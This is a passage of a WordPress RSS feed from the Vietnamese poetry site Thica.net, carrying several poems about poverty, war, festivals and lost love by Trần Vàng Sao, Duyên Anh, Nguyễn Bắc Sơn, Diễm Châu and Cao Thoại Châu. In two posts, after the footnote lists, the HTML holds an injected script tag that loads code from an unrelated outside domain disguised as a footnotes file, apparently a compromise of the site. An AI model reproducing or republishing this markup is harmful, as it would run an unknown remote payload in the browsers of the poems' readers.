/>thằng giàu thằng cực<br />cón bán hàng thằng ăn mày đứa ăn cơm cá không hết đứa buổi sáng xổ trứng gà cho chó ăn chổng tai<br />tôi chưởi trời tôi chưởi đất<br />kêu phật kêu thánh tôi chưởi<br />chưởi làng chưởi nước<br />ông khai canh mù mắt<br />ông tiên sư điếc tai</p><p>● tôi chết<br />vợ tôi chết<br />con tôi chết<br />người ngậm ngải chết<br />ba tháng mười ngày<br />ngải ngải<br />lửa và nước<br />ngải<br />tôi thấy tôi chạy rất nhanh giưa rừng<br />chiếc xe kéo bay bổng sau lưng tôi<br />hai tay tôi bị trói chặt vào càng xe<br />tôi chạy<br />nước và lửa ở trong đầu<br />ngải<br />tôi ngậm ngải ở trong miệng<br />trầm<br />trầm trước mặt<br />trầm sau lưng<br />trầm<br />tôi bước không nổi<br />chân tay tôi cứng thẳng<br />trầm<br />trầm chất đống quanh tôi<br />tôi không chạy nữa<br />hai càng xe cứ dính cứng vào tay tôi<br />tôi ngột thở<br />trầm<br />con ơi trầm<br />cơm đó<br />thịt đó<br />trầm trầm con ơi<br />chiếc xe lao nghiến lên người tôi<br />tôi mắc ngang giữa hai bánh xe<br />xoáy tròn trong nước và lửa<br />tôi ngột thở<br />tôi la thật to<br />trầm</p><p>con nhện sa trước mặt<br />tôi đưa tay ra<br />sợi tơ đứt nửa chừng<br />tôi có chết được đâu<br />cứ sống như tôi đây này làm thằng kéo xe tay<br />kẻ giàu có bữa ăn nào cũng dư cơm dư thịt</p><p>● trống chầu đánh thùng thùng<br />tôi để xe ngoài cửa trường hát<br />người xé vé ngồi vắt tréo chân hút thuốc<br />cái mũ bê rê đội xiên trật sau đầu đưa cái lỗ rách ra phía trước<br />cái mặt lai tây mặt rạch khô cháy<br />tôi cười bước vô rạp<br />bạch viên đeo chiếc vòng vào tay cúi đầu lạy ông thầy chùa</p><p>thầy cho một chiếc kim hoàn</p><p>bạch viên khóc<br />trống chầu đánh thùng thùng<br />tôi hết buồn ngủ và lúc này muốn được như người làm con vượn trắng lượm những đồng bạc thưởng trên sân khấu</p><p>● thôi con ơi<br />đừng đứng đó mà thèm<br />ngó chi được bữa cơm người nhà giàu<br />còn chiếc xe của cha đó<br />rồi con sẽ kéo<br />rung lục lạc cho đều<br />cho hết đời con<br />cố lên dốc<br />đừng nghỉ nửa chừng<br />nghe con</p><div class="small"><em>Vỹ Dạ tháng năm 29 tháng 11-1983</em></div><p>The post <a href="https://www.thica.net/2025/01/10/ngam-ngai-tim-tram/">Ngậm ngải tìm trầm</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2025/01/10/ngam-ngai-tim-tram/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">18095</post-id>	</item>
		<item>
		<title>Giữa hội đời</title>
		<link>https://www.thica.net/2019/04/25/giua-hoi-doi/</link>
		<comments>https://www.thica.net/2019/04/25/giua-hoi-doi/#respond</comments>
		<pubDate>Thu, 25 Apr 2019 14:00:37 +0000</pubDate>
		<dc:creator><![CDATA[Duyên Anh]]></dc:creator>
				<category><![CDATA[Duyên Anh]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[lễ hội]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17541</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi lớn vẫn mê xem rước hội<br />
Luôn luôn gặp những gã xuyên lình<br />
Sắt cùn giả bộ đâm qua má<br />
Hò hét long trời nghe phát kinh</p>
<p>Đó bọn vì ta mưu đại sự<br />
Làm tim nứt rạn máu tuôn rơi<br />
Lòng xa muôn dặm tay đồng tử<br />
Chân gỗ đeo gông giữa hội đời.</p>
<p>The post <a href="https://www.thica.net/2019/04/25/giua-hoi-doi/">Giữa hội đời</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Thuở bé tôi mê xem rước hội<br />Chân chim nhẹ hẫng trẩy theo đời<br />Gửi lòng mình ngự tay đồng tử<br />Tung múa trong phường trống ngũ lôi</p><p>Đau thương dạo ấy còn khan hiếm<br />Người với người yêu thắm thiết tình<br />Cái kiến biết khinh ai nói dối<br />Nên tôi hâm mộ gã xuyên lình <sup><a href="https://www.thica.net/2019/04/25/giua-hoi-doi/#footnote_0_17541" id="identifier_0_17541" class="footnote-link footnote-identifier-link" title="Xuy&ecirc;n l&igrave;nh hay xi&ecirc;n l&igrave;nh: Người d&ugrave;ng thanh sắt sắc nhọn đ&acirc;m xuy&ecirc;n v&agrave;o hai m&aacute; v&agrave; miệng trong c&aacute;c buổi l&ecirc;n đồng hoặc rước hội">1</a></sup></p><p>Cây sắt đơn sơ hồn thóc lúa<br />Hai đầu nhọn hoắt rực niềm vui<br />Xuyên từ bên trái sang bên phải<br />Đôi má lành nguyên máu chẳng rơi</p><p>Và gã xuyên lình không niệm chú<br />Không đem phù phép dọa nhân gian<br />Cũng không tự gã suy tôn gã<br />Ôi chuyện ngày xưa đã võ vàng</p><p>Tôi lớn vẫn mê xem rước hội<br />Luôn luôn gặp những gã xuyên lình<br />Sắt cùn giả bộ đâm qua má<br />Hò hét long trời nghe phát kinh</p><p>Đó bọn vì ta mưu đại sự<br />Làm tim nứt rạn máu tuôn rơi<br />Lòng xa muôn dặm tay đồng tử<br />Chân gỗ đeo gông giữa hội đời.</p><ol class="footnotes"><li id="footnote_0_17541" class="footnote"><em>Xuyên lình</em> hay <em>xiên lình</em>: Người dùng thanh sắt sắc nhọn đâm xuyên vào hai má và miệng trong các buổi lên đồng hoặc rước hội</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2019/04/25/giua-hoi-doi/">Giữa hội đời</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2019/04/25/giua-hoi-doi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17541</post-id>	</item>
		<item>
		<title>Căn bệnh thời chiến</title>
		<link>https://www.thica.net/2018/12/29/can-benh-thoi-chien/</link>
		<comments>https://www.thica.net/2018/12/29/can-benh-thoi-chien/#respond</comments>
		<pubDate>Sat, 29 Dec 2018 14:18:36 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Bắc Sơn]]></dc:creator>
				<category><![CDATA[Nguyễn Bắc Sơn]]></category>
		<category><![CDATA[Bạn bè]]></category>
		<category><![CDATA[Chiến tranh]]></category>
		<category><![CDATA[Cuộc đời]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17500</guid>
		<description><![CDATA[<p>[...]</p>
<p>Ta mắc bịnh ung thư thời chiến<br />
Thoi thóp còn một trái tim khô<br />
Sợ hãi con người hơn thú dữ<br />
Nhìn nơi nào cũng thấy hư vô</p>
<p>Mai kia trong những ngày ngưng chiến<br />
Ta chắc rằng không thể yêu ai<br />
Nhà thương điên nếu còn chỗ trống<br />
Xin chiếc giường cho xác tàn phai</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/12/29/can-benh-thoi-chien/">Căn bệnh thời chiến</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Một ngày chủ nhật phơi giày trận<br />Ta bỗng tìm ra một vết thương<br />Vết thương bàng bạc như là khói<br />Ngưng đọng nhà ai ở cuối đường</p><p>Mày gởi một chân ngoài mặt trận<br />Mang về cho mẹ một bàn chân<br />Mẹ già khóc đến mù hai mắt<br />Đời tàn trong lứa tuổi thanh xuân</p><p>Chiều chiều ngồi nhà hút ống vố<br />Cao giọng ngâm chơi khúc cổ văn<br />Chiến tranh xa tít như là mộng<br />Thôi kể mày ra cũng yên phần</p><p>Ta may mắn tay chân lành lặn<br />Nhưng tâm hồn trống rỗng bơ vơ<br />Mỗi ngày chữa bệnh bằng ly rượu<br />Tối nằm đánh vật với cơn mơ</p><p>Ta mắc bịnh ung thư thời chiến<br />Thoi thóp còn một trái tim khô<br />Sợ hãi con người hơn thú dữ<br />Nhìn nơi nào cũng thấy hư vô</p><p>Mai kia trong những ngày ngưng chiến<br />Ta chắc rằng không thể yêu ai<br />Nhà thương điên nếu còn chỗ trống<br />Xin chiếc giường cho xác tàn phai</p><p>Mai kia khi thành đồ phế thải<br />Ta lên cao nguyên nằm dưỡng thương</p><p>The post <a href="https://www.thica.net/2018/12/29/can-benh-thoi-chien/">Căn bệnh thời chiến</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/12/29/can-benh-thoi-chien/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17500</post-id>	</item>
		<item>
		<title>Bức bích hoạ về một thành phố ban mai</title>
		<link>https://www.thica.net/2018/12/28/buc-bich-hoa-ve-mot-thanh-pho-ban-mai/</link>
		<comments>https://www.thica.net/2018/12/28/buc-bich-hoa-ve-mot-thanh-pho-ban-mai/#respond</comments>
		<pubDate>Fri, 28 Dec 2018 14:13:58 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Bắc Sơn]]></dc:creator>
				<category><![CDATA[Nguyễn Bắc Sơn]]></category>
		<category><![CDATA[Cuộc đời]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17498</guid>
		<description><![CDATA[<p>[...]</p>
<p>Nhà văn đã hoàn thành tác phẩm<br />
Ðứng ngoài thềm thích thú nhổ những chiếc chân râu<br />
Như người phụ xe<br />
Nhấp từng ngụm cà phê bốc khói</p>
<p>Nhân vật trong sách ông ta<br />
Nhiều người chào đời nhiều người đã chết<br />
Nhưng không ai hiểu vì sao mình được sinh ra</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/12/28/buc-bich-hoa-ve-mot-thanh-pho-ban-mai/">Bức bích hoạ về một thành phố ban mai</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Trong túi quần cậu học trò tiểu học<br />Có con dế than nồng nàn mùi đất ướt<br />Gáy lên đi ta<br />Gáy rung rinh làm rụng những lá me non.<br />Gáy niềm vui tích tắc trong trái tim chàng</p><p>Người lính đêm qua đi kích về gác chân lên<br />Chiếc xe chở đầy những ổ mì vàng nóng hổi<br />Cười nụ cười đầu tiên trong ngày<br />Và bật que diêm đốt thuốc</p><p>Nhà văn đã hoàn thành tác phẩm<br />Ðứng ngoài thềm thích thú nhổ những chiếc chân râu<br />Như người phụ xe<br />Nhấp từng ngụm cà phê bốc khói</p><p>Nhân vật trong sách ông ta<br />Nhiều người chào đời nhiều người đã chết<br />Nhưng không ai hiểu vì sao mình được sinh ra</p><p>Vấn đề dở dang này không làm dở dang tác phẩm.<br />Người đọc chắc sẽ vô cùng thích thú<br />Dù cũng không hiểu vì sao</p><p>Những chiếc chân râu đế nhỏ<br />Trời sinh ra ta để sống<br />Gáy lên đi anh em</p><p>The post <a href="https://www.thica.net/2018/12/28/buc-bich-hoa-ve-mot-thanh-pho-ban-mai/">Bức bích hoạ về một thành phố ban mai</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/12/28/buc-bich-hoa-ve-mot-thanh-pho-ban-mai/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17498</post-id>	</item>
		<item>
		<title>Bài ca khổ nhục</title>
		<link>https://www.thica.net/2018/12/27/bai-ca-kho-nhuc/</link>
		<comments>https://www.thica.net/2018/12/27/bai-ca-kho-nhuc/#respond</comments>
		<pubDate>Thu, 27 Dec 2018 14:13:34 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Bắc Sơn]]></dc:creator>
				<category><![CDATA[Nguyễn Bắc Sơn]]></category>
		<category><![CDATA[Cuộc đời]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17496</guid>
		<description><![CDATA[<p>[...]</p>
<p>Ngày trước mày hiền như đất cục<br />
Giờ mở miệng ra là chửi tục<br />
Hà hà ra thế con nhà binh<br />
Ngôn ngữ thơm tho như mùi cứt<br />
Ngày trước mày định đi tu tiên<br />
Giờ lính tu bi-đông ừng ực<br />
Người đời dễ đâu theo ý mình<br />
Như hạt bụi nhằm con gió trốc<br />
Bạn mày nằm nhà thất nghiệp dài<br />
Mẹ già không tính tiền cơm thuốc<br />
Ngày xưa văn nghệ ta mê làm<br />
Cách mệnh còn hăng say vượt bực<br />
Giờ tối nằm mơ chỉ thấy tiền<br />
Nhân nghĩa gì gì quên tuốt luốt</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/12/27/bai-ca-kho-nhuc/">Bài ca khổ nhục</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Mày về thăm ta như chuột lột<br />Thất thểu chỉ còn xương với cốt<br />Tráng sĩ kia hề quy cố hương<br />Thê thảm còn hơn thằng cốt đột<br />Tráng sĩ kia hề quy cố hương<br />Chinh chiến sao mày không chết tốt<br />Dăm đồng rượu trắng vội bày ra<br />Nhậu để khói sầu lên ngút ngút<br />Ðó là phương thuốc trị bùi ngùi<br />Ðốt lòng uất hận cao ngùn ngụt<br />Ngửi mày một tí xem làm sao<br />Thân thể mày bay mùi binh đao<br />Ngày trước mày hiền như đất cục<br />Giờ mở miệng ra là chửi tục<br />Hà hà ra thế con nhà binh<br />Ngôn ngữ thơm tho như mùi cứt<br />Ngày trước mày định đi tu tiên<br />Giờ lính tu bi-đông ừng ực<br />Người đời dễ đâu theo ý mình<br />Như hạt bụi nhằm con gió trốc<br />Bạn mày nằm nhà thất nghiệp dài<br />Mẹ già không tính tiền cơm thuốc<br />Ngày xưa văn nghệ ta mê làm<br />Cách mệnh còn hăng say vượt bực<br />Giờ tối nằm mơ chỉ thấy tiền<br />Nhân nghĩa gì gì quên tuốt luốt<br />Thèm tiền song quả đứa vô tài<br />Nên thằng ta đây chỉ có nước<br />Mỗi tuần một vé số mươi đồng<br />Thê thảm ôi làm sao tả được<br />Hai ta cùng quẫn như thế này<br />Nhắc làm chi nữa cho tủi nhục<br />Vậy xem như mình đã chết rồi<br />Chí lớn mộng to đều đã vứt<br />Quên trời quên đất quên luôn ta<br />Dăm đồng rượu trắng cùng say khướt. </p><p>The post <a href="https://www.thica.net/2018/12/27/bai-ca-kho-nhuc/">Bài ca khổ nhục</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/12/27/bai-ca-kho-nhuc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17496</post-id>	</item>
		<item>
		<title>Vĩnh biệt</title>
		<link>https://www.thica.net/2018/10/16/vinh-biet/</link>
		<comments>https://www.thica.net/2018/10/16/vinh-biet/#respond</comments>
		<pubDate>Tue, 16 Oct 2018 07:13:22 +0000</pubDate>
		<dc:creator><![CDATA[Diễm Châu]]></dc:creator>
				<category><![CDATA[Diễm Châu]]></category>
		<category><![CDATA[Chia ly]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Hà Nội]]></category>
		<category><![CDATA[Tình yêu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17446</guid>
		<description><![CDATA[<p>Em không thể là người bạn đường của tôi<br />
Em không thể chia sẻ với tôi những khát vọng thầm kín<br />
Tại sao ta không thể nói thẳng với nhau điều ấy<br />
Lại loanh quanh bắt bẻ nhau về những điều nhỏ nhặt?<br />
Trên cõi thế này có biết bao kẻ ta thương mến<br />
Đã không thể cùng ta chung một đường<br />
Nhưng có sao nếu những nụ cười của họ ta vẫn gặp ở không trung<br />
Và những bờ vai vô hình vẫn tựa vào nhau trong xa vắng </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/10/16/vinh-biet/">Vĩnh biệt</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>— gửi «Hà-nội yêu dấu».</em></p><p>Em không thể là người bạn đường của tôi<br />Em không thể chia sẻ với tôi những khát vọng thầm kín<br />Tại sao ta không thể nói thẳng với nhau điều ấy<br />Lại loanh quanh bắt bẻ nhau về những điều nhỏ nhặt?<br />Trên cõi thế này có biết bao kẻ ta thương mến<br />Đã không thể cùng ta chung một đường<br />Nhưng có sao nếu những nụ cười của họ ta vẫn gặp ở không trung<br />Và những bờ vai vô hình vẫn tựa vào nhau trong xa vắng<br />Thơ là điều có thật nhưng tôi đã hoài công tìm kiếm<br />Ở cõi đời kỳ quặc này đó em bởi sau cùng tôi đã hiểu<br />Ấy là mồi nhử của cuộc sống để đưa ta tới<br />Thơ muôn đời thơ vĩnh cửu không bao giờ tìm thấy ở trần gian<br />Ở đây nỗi đớn đau là có thật nhưng đền bù hạnh phúc<br />Vẫn là ở khóe mắt bờ môi – tạm bợ – dù với nụ cười buồn hay kiêu sa<br />Em thừa biết trên trái đất có con đường nào không chấm dứt<br />Kể cả con đường yêu kiều nhất của mọi người chúng ta<br />Hạnh phúc tìm được chỉ là một mùi hương thoảng qua<br />Còn lần khân ở lại trên mút đầu ngọn gió<br />Kỳ cục kỳ cục hết sức kỳ cục:<br />Làn hương không thể hiểu lời ca đã lịm tắt<br />Những giận hờn xé nát ruột gan&#8230;<br />Tôi không thể là người bạn đường của em<br />Nhưng tôi cũng không thể<br />Quên đi những bờ môi quá dịu dàng<br />Đôi bàn tay e ấp<br />Chéo khăn quàng khép lại thật kín<br />Mái tóc ngắn hất lên<br />Để lại một làn hương phai dần giữa phố phường đông nghẹt<br />Hà-nội của 5 g. sáng tiếng loa<br />Hà-nội của kế đó, rụt rè, rồi mạnh mẽ tuôn tràn dòng thác người và xe cộ<br />Mãi tới thinh lặng của đêm sâu<br />Hà-nội của buổi chiều ta gặp nhau<br />Em là tiếng chim hót đầu tiên của Sài-gòn hoảng hốt vào 2 g. sáng<br />Choàng dậy vì ánh hỏa châu và tiếng nổ đạn bom<br />Rồi ngủ lại ngay sau đó<br />Em là cánh bướm giữa vườn rau xơ xác<br />Buông từ trời cao xuống: những cánh hoa vàng hiếm hoi còn lại<br />Trên vườn cải đã tan hoang<br />Em là chiếc hộp cổ khảm xà-cừ<br />Chất chứa những nỗi niềm bí ẩn thèm khát nhất<br />Gợi nhớ tới nụ cười bần thần héo hắt của cha tôi<br />Khi người tỉa tót những cành hải đường<br />Em là tất cả những châu báu còn lại<br />Của một quá khứ đắm say và không thể nào quên<br />Cơn lũ tâm hồn vũ bão nhất<br />Còn tôi tôi chỉ là một người nhỏ nhoi từ quá khứ xa xôi trở về trong giây lát để rồi lại sửa soạn lên đường<br />Như cha mẹ tôi anh chị em tôi đã vội vã lìa bỏ quê hương<br />Tôi tôi chỉ là người may mắn nhất trong bọn họ:<br />Đã tìm lại được chiếc hộp cổ&#8230;</p><p>Em là người ở lại nhưng không phải là một kẻ lạ xa<br />Em cũng là của một thế hệ khác nhưng thời gian đã bị&#8230;bác bỏ<br />(con đường của chúng ta lẽ ra đã rất có thể là một<br />nhưng cuộc đời quái ác đã chia rẽ/ phân cách chúng ta&#8230;)<br />Xin hãy giữ gìn cẩn trọng ngôi nhà em đang ở<br />Xin hãy tiếp tục sống tự lập với niềm kiêu hãnh của riêng em<br />Vì em thuộc về kẻ có đủ sức để ở lại<br />Này Hồ Gươm là của em Chùa Một Cột cũng là của em<br />Hãy ở lại với tiếng loa<br />Hãy ở lại với những đổi thay nhộn nhịp trong quy định<br />Hãy phục vụ tốt ở bất cứ nơi nào em đang phục vụ<br />Và hãy coi tôi như một trong những kẻ lỡ cung đàn<br />Không thể góp tiếng với một dàn đại hòa tấu<br />Trí huệ lớn – Vinh quang lớn<br />Xin hãy quên mau<br />Một cánh chim lẻ loi ngày mai đây đã ở cuối trời<br />Vô vọng và tuyệt vọng<br />Một bóng mây góa bụa<br />Một tia nắng mồ côi<br />Một con tàu biệt xứ<br />Nhưng vẫn sống một đời<br />Vui<br />Vì đã một lần gặp em&#8230;</p><p>Trên cõi thế này có biết bao kẻ ta thương mến<br />Đã không thể cùng ta chung một đường<br />Nhưng có sao nếu những nụ cười của chúng ta vẫn gặp nhau ở không trung<br />Và những bờ vai vô hình vẫn tựa vào nhau trong xa vắng&#8230;</p><p>20-21.5.05</p><p>The post <a href="https://www.thica.net/2018/10/16/vinh-biet/">Vĩnh biệt</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/10/16/vinh-biet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17446</post-id>	</item>
		<item>
		<title>Đứa bé thả diều trên đồng và vắt cơm cúng mả mới</title>
		<link>https://www.thica.net/2018/10/07/dua-be-tha-dieu-tren-dong-va-vat-com-cung-ma-moi/</link>
		<comments>https://www.thica.net/2018/10/07/dua-be-tha-dieu-tren-dong-va-vat-com-cung-ma-moi/#respond</comments>
		<pubDate>Sun, 07 Oct 2018 09:53:37 +0000</pubDate>
		<dc:creator><![CDATA[Trần Vàng Sao]]></dc:creator>
				<category><![CDATA[Trần Vàng Sao]]></category>
		<category><![CDATA[Cuộc đời]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17431</guid>
		<description><![CDATA[<p>[...]</p>
<p>gió nhiều thêm<br />
con diều của tôi quạt hai cánh bay giật lên rồi đứng yên<br />
tôi đợi cho mọi người đi hết<br />
cho mấy cái khăn vàng khăn đỏ hết ngoái lại nhìn con ai dại trời nắng không có mũ nón trên đầu<br />
mấy cây hương còn cháy cắm lên vắt cơm để trên miếng chuối hơ vừa héo<br />
tôi ngồi xuống đất<br />
những hột cơm trắng và khô<br />
tôi ăn cả tàn hương phẩm đỏ vào bụng<br />
liệu ai ở nhà tôi chết có được một vắt cơm to trắng như thế này để trên mả không</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/10/07/dua-be-tha-dieu-tren-dong-va-vat-com-cung-ma-moi/">Đứa bé thả diều trên đồng và vắt cơm cúng mả mới</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>không có ai đi ngang qua đây để thấy con diều của tôi<br />buổi trưa đứng bóng trên trời rất nhiều gió<br />tôi nằm ngửa nhai mấy cọng cỏ gà<br />nước cỏ non và mát trong cổ<br />tôi đói bụng và muốn nhắm thật lâu hai con mắt lại rồi ngủ quên<br />gió rớt lào rào trong lá tre trên đầu<br />tôi không thấy mặt trời ở đâu hết<br />chỉ có mấy con châu chấu nhảy trong tóc<br />và mùi trú <sup><a href="https://www.thica.net/2018/10/07/dua-be-tha-dieu-tren-dong-va-vat-com-cung-ma-moi/#footnote_0_17431" id="identifier_0_17431" class="footnote-link footnote-identifier-link" title="Tr&uacute;: Trấu">1</a></sup> ngún trong bếp ở xa<br />tôi nhớ những miếng sắn khô luộc chấm với muối sống<br />bây giờ thì không còn gì nữa<br />tôi nằm nghiêng co người lại nhìn con diều<br />buồn quá nằm lâu không được<br />tôi đi lên cồn mả ngồi cho cao<br />nhiều người đứng đông đang cúng lạy<br />những đứa con nít bằng tuổi tôi bịt khăn đỏ khăn vàng đi giày dép đưa tay che mắt nhìn con diều của tôi trên trời<br />tôi không nói gì hết<br />tôi cầm một cục đất ném vào bụi dứa<br />gió nhiều thêm<br />con diều của tôi quạt hai cánh bay giật lên rồi đứng yên<br />tôi đợi cho mọi người đi hết<br />cho mấy cái khăn vàng khăn đỏ hết ngoái lại nhìn con ai dại trời nắng không có mũ nón trên đầu<br />mấy cây hương còn cháy cắm lên vắt cơm để trên miếng chuối hơ vừa héo<br />tôi ngồi xuống đất<br />những hột cơm trắng và khô<br />tôi ăn cả tàn hương phẩm đỏ vào bụng<br />liệu ai ở nhà tôi chết có được một vắt cơm to trắng như thế này để trên mả không</p><p>tôi phủi hai bàn tay vào nhau<br />đến chiều gió rất to<br />hai cái đuôi con diều muốn đứt<br />nhưng tôi không còn dây nữa</p><p><em>Ngày 13 tháng 5 năm 1983.</em></p><ol class="footnotes"><li id="footnote_0_17431" class="footnote">Trú: Trấu</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2018/10/07/dua-be-tha-dieu-tren-dong-va-vat-com-cung-ma-moi/">Đứa bé thả diều trên đồng và vắt cơm cúng mả mới</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/10/07/dua-be-tha-dieu-tren-dong-va-vat-com-cung-ma-moi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17431</post-id>	</item>
		<item>
		<title>Cảm ơn, và xin lỗi một người</title>
		<link>https://www.thica.net/2018/09/27/cam-on-va-xin-loi-mot-nguoi/</link>
		<comments>https://www.thica.net/2018/09/27/cam-on-va-xin-loi-mot-nguoi/#respond</comments>
		<pubDate>Thu, 27 Sep 2018 01:55:38 +0000</pubDate>
		<dc:creator><![CDATA[Cao Thoại Châu]]></dc:creator>
				<category><![CDATA[Cao Thoại Châu]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Nỗi buồn]]></category>
		<category><![CDATA[Nước mắt]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17417</guid>
		<description><![CDATA[<p>[...]</p>
<p>Xin cám ơn người như cám ơn tôi<br />
Như cám ơn cuộc đời<br />
Đã cho tôi chỗ ngồi để thở<br />
Đã cho tôi biết dùng nước mắt<br />
Thứ nước mắt không buồn không vui<br />
Vẫn  hằng hằng chan chứa</p>
<p>Và xin lỗi người như xin lỗi tôi<br />
Như xin lỗi cuộc đời<br />
Chúng ta sống so le cùng ngôn ngữ<br />
Chúng ta sống một đời bấp bênh<br />
Và trùng điệp đau buồn<br />
Thứ đau buồn không tên để gọi.</p>
<p>The post <a href="https://www.thica.net/2018/09/27/cam-on-va-xin-loi-mot-nguoi/">Cảm ơn, và xin lỗi một người</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Nếu ngày kia nổi máu si tình<br />Đập cửa người bằng bàn tay bối rối<br />Đề nghị người một cuộc yêu đương<br />Đã chắc gì lời tôi không dội lại</p><p>Hiển nhiên rằng người không biết tôi<br />Như tôi vẫn mù mịt về người<br />Mỗi chúng ta thảy đều như thế<br />Ngay chính mình cũng chưa biết là ai</p><p>Sống từa tựa như một điều giả dụ<br />Gồm những hành vi hỏng tiếp theo nhau<br />Và cũng tự làm phiền trí nhớ<br />Bằng những hình ảnh rất không đâu</p><p>Sống là kết những cuộc đời tan nát<br />Và tưởng như hạnh phúc ở trong tay<br />Đối với tôi nhiều kẻ làm như thế<br />Lòng tôi buồn bực mãi không thôi</p><p>(Tuy nhiên đó chỉ là điều vô ích<br />Sự kết nhập vừa nói ở trên<br />Vì hạnh phúc là điều không có thực<br />Dù ở ngoài hay ở trong ta)</p><p>Người đã lỡ cho tôi ngó thấy<br />Một điều gì từa tựa chút yêu đương<br />Tôi bối rối và ngạc nhiên, hẳn vậy<br />Như bất thần cười mỉm trong gương</p><p>Tôi không sống như người ta phỏng đoán<br />Dù điều gì tôi cũng dửng dưng<br />Và bởi thế, tập quen ngộ nhận<br />Như một niềm đau đớn hân hoan</p><p>(Trăng có tối trong vườn đêm đó<br />Người có vì tự ái nên phân vân<br />Tôi cũng nhận ra điều khác lạ<br />Và thưa người xin được mang ơn)</p><p>Tôi là loài đi bằng hai chân<br />Chân trên không và chân dưới đất<br />Nên mỗi bước đời tôi bấp bênh<br />Như tên hề đi trên dây sắt</p><p>Tôi là chiếc hầm rất nhiều bóng tối<br />Kẻ nào liều mới dám đi qua<br />Không lẽ nửa đường đi quay trở lại<br />Dù sỏi cô đơn trải dưới chân và</p><p>Tôi là chiếc xe bò đã cũ<br />Đường gập ghềnh tôi chở tôi đi<br />Đường gập ghềnh tôi chở tôi về<br />Trên một chiếc xe bò đã cũ</p><p>Xin cám ơn người như cám ơn tôi<br />Như cám ơn cuộc đời<br />Đã cho tôi chỗ ngồi để thở<br />Đã cho tôi biết dùng nước mắt<br />Thứ nước mắt không buồn không vui<br />Vẫn  hằng hằng chan chứa</p><p>Và xin lỗi người như xin lỗi tôi<br />Như xin lỗi cuộc đời<br />Chúng ta sống so le cùng ngôn ngữ<br />Chúng ta sống một đời bấp bênh<br />Và trùng điệp đau buồn<br />Thứ đau buồn không tên để gọi.</p><p><em>Kontum 1969</em></p><p>The post <a href="https://www.thica.net/2018/09/27/cam-on-va-xin-loi-mot-nguoi/">Cảm ơn, và xin lỗi một người</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/09/27/cam-on-va-xin-loi-mot-nguoi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17417</post-id>	</item>
		<item>
		<title>Mùa hạn</title>
		<link>https://www.thica.net/2018/09/15/mua-han/</link>
		<comments>https://www.thica.net/2018/09/15/mua-han/#respond</comments>
		<pubDate>Sat, 15 Sep 2018 09:56:10 +0000</pubDate>
		<dc:creator><![CDATA[Tô Thùy Yên]]></dc:creator>
				<category><![CDATA[Tô Thùy Yên]]></category>
		<category><![CDATA[Cuộc đời]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17407</guid>
		<description><![CDATA[<p>[...]</p>
